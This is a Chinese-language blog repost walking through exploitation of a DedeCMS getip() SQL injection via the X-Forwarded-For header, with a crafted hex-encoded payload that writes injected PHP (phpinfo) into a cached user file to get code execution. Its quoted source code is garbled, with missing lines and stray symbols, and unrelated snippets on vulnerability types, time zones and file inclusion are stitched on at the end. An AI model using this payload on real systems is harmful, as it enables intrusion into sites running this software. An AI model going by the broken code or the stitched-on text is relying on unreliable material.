Dedecms getip 的漏洞利用

2021-09-06 14:42:21 字數 1902 閱讀 1967

flyh4t在非安全發布了dedecms getip()的注射漏洞,漏洞本身的成因沒什麼好說的老掉牙的x-forwarded-for的問題,我想這個漏洞很多人都找到了,不過這個漏洞的利用有個地方還是可以說說的,可以直接得到shell:

在使用者登陸後把使用者資訊寫如了快取:\include\inc_memberlogin.php

function fushcache($mid=0)

' ");

if(is_array($row))

order by integral desc");

$row['honor'] = $scrow['titles'];

}if(is_array($row)) return writeuserinfos($mid,$row); //這裡

else return '';

}writeuserinfos()的**:

//寫入使用者的會話資訊

function writeuserinfos($uid,$row)

$userfile = $ndir.$uid.'.php';

$infos = "<"."?php\r\n";

$infos .= "\$cfg_userinfos['wtime'] = '".mytime()."';\r\n";

foreach($row as $k=>$v)'] = '';\r\n";}}

$infos .= "\r\n?".">";

@$fp = fopen($userfile,'w');

@flock($fp);

@fwrite($fp,$infos);

@fclose($fp);

return $infos;

}我們構造$ipp="121.11.11.1',uname=0x68656967655c273b706870696e666f28293b2f2f,uptime='1";

mysql> select 0x68656967655c273b706870696e666f28293b2f2f;

+--------------------------------------------+

| 0x68656967655c273b706870696e666f28293b2f2f |

+--------------------------------------------+

| heige\';phpinfo();//                       |

+--------------------------------------------+

1 row in set (0.00 sec)

利用流程:

a:else';");

b:fushcache()

$row = $dsql->getone("select id,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm from member where id='' ");

c:writeuserinfos()

heige\';phpinfo();// ---str_replace-->heige\\';phpinfo();//---fwrite--->heige\\';phpinfo();//

===>$cfg_userinfos['uname'] = 'heige\\';phpinfo();//'; 完美閉和前面的' :)

其中str_replace的部分相當於**:

<?php

$v="heige\';phpinfo();//";

$v = str_replace("'","\\'",$v);

print $v;

?>

整個過程其實就是乙個很完整的"二次攻擊",而str_replace("'","\\'",$v);起了關鍵性的作用.

漏洞的分類

按照漏洞的形成原因,漏洞大體上可以分為程式邏輯結構漏洞 程式設計錯誤漏洞 開放式協議造成的漏洞和人為因素造成的漏洞。按照漏洞被人掌握的情況,漏洞又可以分為已知漏洞 未知漏洞和 0day 等幾種型別。這種型別的漏洞有可能是程式設計人員在編寫程式時,因為程式的邏輯設計不合理或者錯誤而造成的程式邏輯漏洞。...

時區的漏洞

時區的漏洞 地球是自西向東自轉,東邊比西邊先看到太陽,東邊的時間也比西邊的早。東邊時刻與西邊時刻的差值不僅 要以時計,而且還要以分和秒來計算,這給人們帶來不便。為了克服時間上的混亂,1884年在華盛頓召開的一次國際經度會議 又稱國際子午線會議 上,規定將全球劃分為24個時區 東 西各12個時區 規定...

漏洞之檔案包含漏洞

在專案中為了更好地使用 的重用性,引入了檔案包含函式,可以通過檔案包含函式將檔案包含進來,直接使用包含檔案的 完成類似python中的import功能。在包含檔案時候,為了靈活包含檔案,將被包含檔案設定為變數,通過動態變數來引入需要包含的檔案時,使用者可以對變數的值可控而伺服器端未對變數值進行合理地...